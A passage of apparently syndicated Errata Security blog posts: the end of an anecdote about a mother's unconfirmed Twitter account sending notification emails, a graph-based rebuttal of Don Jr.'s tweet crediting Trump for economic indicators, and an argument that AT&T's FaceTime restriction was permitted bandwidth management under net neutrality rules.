I recognized condescension of words as they came out of my mouth, but dug myself deeper with:

“…or that the user made the error?”

This was wrong to say even if I were right. I have no excuse. I mean, maybe I could argue that it’s really her fault, for not raising me right, but no, this is only on me.

Regardless of what caused the Twitter emails, the problem needs to be fixed. The solution is to take control of the Twitter account by using the password reset feature. I went to the Twitter login page, clicked on “Lost Password”, got the password reset message, and reset the password. I then reconfigured the account to never send anything to my mom again.

But when I logged in I got an error saying the account had not yet been confirmed. I paused. The family dog eyed me in wise silence. My mom hadn’t clicked on the [Confirm] button — the proof was right there. Moreover, it hadn’t been confirmed for a long time, since the account was created in 2011.

I interrogated my mother some more. It appears that this has been going on for years. She’s just been deleting the emails without opening them, both the “Confirmations” and the “Moments”. She made it clear she does it this way because her son (that would be me) instructs her to never open emails she knows are bad. That’s how she could be so certain she never clicked on the [Confirm] button — she never even opens the emails to see the contents.

My mom is a prolific email user. In the last eight months, I’ve received over 10,000 emails in the duplicate mailbox on my server. That’s a lot. She’s technically retired, but she volunteers for several charities, goes to community college classes, and is joining an anti-Trump protest group. She has a daily routine for triaging and processing all the emails that flow through her inbox.

So here’s the thing, and there’s no getting around it: my mom was right, on all particulars. She had done nothing, the computer had done it to her. It’s Twitter who is at fault, having continued to resend that confirmation email every couple months for six years. When Twitter added their controversial “Moments” feature a couple years back, somehow they turned on Notifications for accounts that technically didn’t fully exist yet.

Being right this time means she might be right the next time the computer does something to her without her touching anything. My attempts at making computers seem rational has failed. That they are driven by untrustworthy spirits is now a reasonable alternative.

Those “smart” engineers at Twitter screwed me. Continuing to send confirmation emails for six years is stupid. Sending Notifications to unconfirmed accounts is stupid. Yes, I know at the bottom of the message it gives a “Not my account” selection that she could have clicked on, but it’s small and easily missed. In any case, my mom never saw that option, because she’s been deleting the messages without opening them — for six years.

Twitter can fix their problem, but it’s not going to help mine. Forever more, I’ll be unable to convince my mom that the majority of her problems are because of user error, and not because the computer people are out to get her.

Don Jr.: I’ll bite

Post Syndicated from Robert Graham original http://blog.erratasec.com/2017/11/don-jr-ill-bite.html

So Don Jr. tweets the following, which is an excellent troll. So I thought I’d bite. The reason is I just got through debunk Democrat claims about NetNeutrality, so it seems like a good time to balance things out and debunk Trump nonsense.

The issue here is not which side is right. The issue here is whether you stand for truth, or whether you’ll seize any factoid that appears to support your side, regardless of the truthfulness of it. The ACLU obviously chose falsehoods, as I documented. In the following tweet, Don Jr. does the same.

It’s a preview of the hyperpartisan debates are you are likely to have across the dinner table tomorrow, which each side trying to outdo the other in the false-hoods they’ll claim.

What we see in this number is a steady trend of these statistics since the Great Recession, with no evidence in the graphs showing how Trump has influenced these numbers, one way or the other.

Stock markets at all time highs

This is true, but it’s obviously not due to Trump. The stock markers have been steadily rising since the Great Recession. Trump has done nothing substantive to change the market trajectory. Also, he hasn’t inspired the market to change it’s direction.
To be fair to Don Jr., we’ve all been crediting (or blaming) presidents for changes in the stock market despite the fact they have almost no influence over it. Presidents don’t run the economy, it’s an inappropriate conceit. The most influence they’ve had is in harming it.

Lowest jobless claims since 73

Again, let’s graph this:

As we can see, jobless claims have been on a smooth downward trajectory since the Great Recession. It’s difficult to see here how President Trump has influenced these numbers.

6 Trillion added to the economy

What he’s referring to is that assets have risen in value, like the stock market, homes, gold, and even Bitcoin.
But this is a well known fallacy known as Mercantilism, believing the “economy” is measured by the value of its assets. This was debunked by Adam Smith in his book “The Wealth of Nations“, where he showed instead the the “economy” is measured by how much it produces (GDP – Gross Domestic Product) and not assets.
GDP has grown at 3.0%, which is pretty good compared to the long term trend, and is better than Europe or Japan (though not as good as China). But Trump doesn’t deserve any credit for this — today’s rise in GDP is the result of stuff that happened years ago.
Assets have risen by $6 trillion, but that’s not a good thing. After all, when you sell your home for more money, the buyer has to pay more. So one person is better off and one is worse off, so the net effect is zero.
Actually, such asset price increase is a worrisome indicator — we are entering into bubble territory. It’s the result of a loose monetary policy, low interest rates and “quantitative easing” that was designed under the Obama administration to stimulate the economy. That’s why all assets are rising in value. Normally, a rise in one asset means a fall in another, like selling gold to pay for houses. But because of loose monetary policy, all assets are increasing in price. The amazing rise in Bitcoin over the last year is as much a result of this bubble growing in all assets as it is to an exuberant belief in Bitcoin.
When this bubble collapses, which may happen during Trump’s term, it’ll really be the Obama administration who is to blame. I mean, if Trump is willing to take credit for the asset price bubble now, I’m willing to give it to him, as long as he accepts the blame when it crashes.

1.5 million fewer people on food stamps

As you’d expect, I’m going to debunk this with a graph: the numbers have been falling since the great recession. Indeed, in the previous period under Obama, 1.9 fewer people got off food stamps, so Trump’s performance is slight ahead rather than behind Obama. Of course, neither president is really responsible.

Consumer confidence through the roof

Again we are going to graph this number:

Again we find nothing in the graph that suggests President Trump is responsible for any change — it’s been improving steadily since the Great Recession.

One thing to note is that, technically, it’s not “through the roof” — it still quite a bit below the roof set during the dot-com era.

Lowest Unemployment rate in 17 years

Again, let’s simply graph it over time and look for Trump’s contribution. as we can see, there doesn’t appear to be anything special Trump has done — unemployment has steadily been improving since the Great Recession.
But here’s the thing, the “unemployment rate” only measures those looking for work, not those who have given up. The number that concerns people more is the “labor force participation rate”. The Great Recession kicked a lot of workers out of the economy.
Mostly this is because Baby Boomer are now retiring an leaving the workforce, and some have chosen to retire early rather than look for another job. But there are still some other problems in our economy that cause this. President Trump has nothing particular in order to solve these problems.

Conclusion

As we see, Don Jr’s tweet is a troll. When we look at the graphs of these indicators going back to the Great Recession, we don’t see how President Trump has influenced anything. The improvements this year are in line with the improvements last year, which are in turn inline with the improvements in the previous year.
To be fair, all parties credit their President with improvements during their term. President Obama’s supporters did the same thing. But at least right now, with these numbers, we can see that there’s no merit to anything in Don Jr’s tweet.
The hyperpartisan rancor in this country is because neither side cares about the facts. We should care. We should care that these numbers suck, even if we are Republicans. Conversely, we should care that those NetNeutrality claims by Democrats suck, even if we are Democrats.

NetNeutrality vs. limiting FaceTime

Post Syndicated from Robert Graham original http://blog.erratasec.com/2017/11/netneutrality-vs-limiting-facetime.html

People keep retweeting this ACLU graphic in regards to NetNeutrality. In this post, I debunk the fourth item. In previous posts [1] [2] I debunk other items.

But here’s the thing: the FCC allowed these restrictions, despite the FCC’s “Open Internet” order forbidding such things. In other words, despite the graphic’s claims it “happened without net neutrality rules”, the opposite is true, it happened with net neutrality rules.

The FCC explains why they allowed it in their own case study on the matter. The short version is this: AT&T’s network couldn’t handle the traffic, so it was appropriate to restrict it until some time in the future (the LTE rollout) until it could. The issue wasn’t that AT&T was restricting FaceTime in favor of its own video-calling service (it didn’t have one), but it was instead an issue of “bandwidth management”.
When Apple released FaceTime, they themselves restricted it’s use to WiFi, preventing its use on cell phone networks. That’s because Apple recognized mobile networks couldn’t handle it.
When Apple flipped the switch and allowed it’s use on mobile networks, because mobile networks had gotten faster, they clearly said “carrier restrictions may apply”. In other words, it said “carriers may restrict FaceTime with our blessing if they can’t handle the load”.
When Tim Wu wrote his paper defining “NetNeutrality” in 2003, he anticipated just this scenario. He wrote:

“The goal of bandwidth management is, at a general level, aligned with network neutrality.”

He doesn’t give “bandwidth management” a completely free pass. He mentions the issue frequently in his paper with a less favorable description, such as here:

Similarly, while managing bandwidth is a laudable goal, its achievement through restricting certain application types is an unfortunate solution. The result is obviously a selective disadvantage for certain application markets. The less restrictive means is, as above, the technological management of bandwidth. Application-restrictions should, at best, be a stopgap solution to the problem of competing bandwidth demands. 

And that’s what AT&T’s FaceTime limiting was: an unfortunate stopgap solution until LTE was more fully deployed, which is fully allowed under Tim Wu’s principle of NetNeutrality.

So the ACLU’s claim above is fully debunked: such things did happen even with NetNeutrality rules in place, and should happen.

Finally, and this is probably the most important part, AT&T didn’t block it in the network. Instead, they blocked the app on the phone. If you jailbroke your phone, you could use FaceTime as you wished. Thus, it’s not a “network” neutrality issue because no blocking happened in the network.